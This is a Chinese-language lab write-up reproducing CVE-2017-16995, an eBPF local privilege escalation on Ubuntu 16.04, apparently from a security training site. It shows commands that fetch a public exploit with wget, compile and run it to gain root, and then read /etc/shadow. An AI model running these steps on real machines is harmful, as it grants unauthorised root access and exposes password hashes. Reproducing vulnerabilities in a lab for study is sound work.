[漏洞復現] CVE-2017-16995 Ubuntu16.04

1、漏洞概述

Ubuntu最新版本16.04存在本地提權漏洞,該漏洞存在於Linux內核帶有的eBPF bpf(2)系統調用中,當用戶提供惡意BPF程序使eBPF驗證器模塊產生計算錯誤,導致任意內存讀寫問題。

攻擊者(普通用戶)可以利用該漏洞進行提權攻擊,獲取root許可權,危害極大。該漏洞編號是CVE-2017-16995,在之前的一些老版本已經修復了,但是在最新的Ubuntu版本中,又出現了這個漏洞,並且Twitter爆出了漏洞利用代碼……

目前,主要是Debian和Ubuntu版本受影響,Redhat和CentOS不受影響。

影響版本:

Linux內核:Linux Kernel Version 4.14 ~ 4.4

Ubuntu版本:16.04.01~ 16.04.04

2、漏洞復現環境下載

Ubuntu16.04下載:old-releases.ubuntu.com

註:這裡我下載的版本是 ubuntu-16.04.3-server-amd64.iso

POC代碼下載:cyseclabs.com/pub/upstr

註:為了節省大家實驗時間,本實驗所有環境全部打包到了以下鏈接=>

pan.baidu.com/s/1rtrSb2 密碼:vowq

3、實驗流程

① 下載Ubuntu 16.04 iso鏡像:old-releases.ubuntu.com

下載列表裡面有很多版本,考慮到虛擬機體積大小,這裡不適用desktop版本,直接使用server版本。點擊ubuntu-16.04.3-server-amd64.iso可以直接網頁下載,若速度較慢,可用列表中的torrent文件,用迅雷等軟體下載。

② 使用VMware製作虛擬機,設置普通用戶賬號密碼(賬號: pinginglab 密碼:pinginglab)

註:這裡的VMware是MacOS下面的VMware Fushion,跟Windows下面的Vmware Workstation使用流程類似。

採用vmware快捷安裝,設置賬號密碼:

點擊「繼續」,即可創建虛擬機。

啟動虛擬機,這裡需要稍等片刻:

③ 使用賬號密碼(pinginglab/pinginglab)登錄虛擬機,進行漏洞復現

使用 id 查看本地用戶組許可權:

使用cat /proc/version查看Linux內核版本 :

使用cat /etc/shadow查看賬號密碼(由於是普通賬號,沒有許可權查看)

使用wget http://cyseclabs.com/pub/upstream44.c 下載POC代碼

使用sudo apt install gcc 下載並安裝gcc編譯器

使用gcc對upstream44.c進行編譯,給予執行許可權:

gcc -o test upstream44.c chmod +x test ll

執行test文件,實現本地提權: ./test id cat /etc/shadow

從實驗效果可以看到,此時用戶從「pinginglab」,切換到「root」,獲取到最高許可權,並且可以查看本地賬號密碼。


【了解更多】

知乎專欄:跟傑哥學網路與安全

新浪微博:@拼客學院陳鑫傑

微信公眾號:拼客院長陳鑫傑(搜索"pingsec"即可關注,大牛都在看)

拼客學院:pinginglab.net(專註網路|安全|運維的IT學院)

【相關文章】

網路安全入坑指南

[冇眼睇]揭秘地下色情誘導網站,上車吧!

拼客學院陳鑫傑:圖解ARP協議(三)ARP防禦篇-如何揪出"內鬼"並"優雅的還手"?

【視頻教程】

5天速成白帽子黑客

一周入門Linux運維


推薦閱讀:

File Upload (low)
繞過PowerShell 執行策略的15種方法
[漏洞復現] MS17-010 基於"永恆之藍"實現Windows Getshell
[漏洞復現] CVE-2018-4878 Flash 0day
系統提權總結

TAG:滲透測試 | 黑客Hacker | 信息安全 |